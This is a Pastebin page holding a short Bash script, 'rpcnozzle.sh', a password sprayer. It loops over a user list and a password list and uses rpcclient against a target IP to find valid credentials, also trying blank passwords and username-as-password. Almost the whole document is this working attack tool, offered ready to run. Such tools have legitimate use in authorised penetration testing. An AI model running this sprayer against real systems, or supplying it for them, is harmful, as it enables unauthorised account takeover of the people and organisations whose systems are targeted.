astrutt

rpcnozzle.sh v0.2

May 16th, 2018
893
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 0.98 KB | None | 0 0
  1. #!/bin/bash
  2. # rpcnozzle.sh v0.2
  3. # rpc password sprayer
  4.  
  5. ## var defs
  6. noarg=1
  7. nocreds=2
  8. i=0
  9.  
  10. ## function defs
  11. argumentcheck(){
  12.   if [ $# -lt 3 ]; then
  13.     echo "[!] Usage: $(basename $0) <UserList> <PassList> <TargetIP>"
  14.     exit $noarg
  15.   fi
  16. }
  17. validcheck(){
  18.   if [[ $trpcpl =~ .*Authority.* ]]; then
  19.     echo "[!] (Username): $u (Password): $p"
  20.     i=$((i+1))
  21.   fi
  22.  }
  23. rpcconnect(){
  24.   trpcpl=$(rpcclient -U "$u%$p" -c  "getusername;quit" $1)
  25. }
  26. rpcnozzle(){
  27.   echo "[i] Testing users and passwords"
  28.   while read u; do
  29.     p=""
  30.     rpcconnect $3
  31.     validcheck
  32.     p="$u"
  33.     rpcconnect $3
  34.     validcheck  
  35.     while read p; do
  36.       rpcconnect $3
  37.       validcheck
  38.     done < $2
  39.   done < $1
  40. }
  41. resultscheck(){
  42.   if [ "$i" -gt 0 ]; then
  43.     echo "[i] $i Set(s) of Credentials Found!"
  44.     exit 0
  45.   else
  46.     echo "[!] No Credentials Found."
  47.     exit $nocreds
  48.   fi
  49. }
  50.  
  51. ## spray all the things
  52. argumentcheck "$@"
  53. rpcnozzle "$@"
  54. resultscheck
Advertisement
Add Comment
Please, Sign In to add comment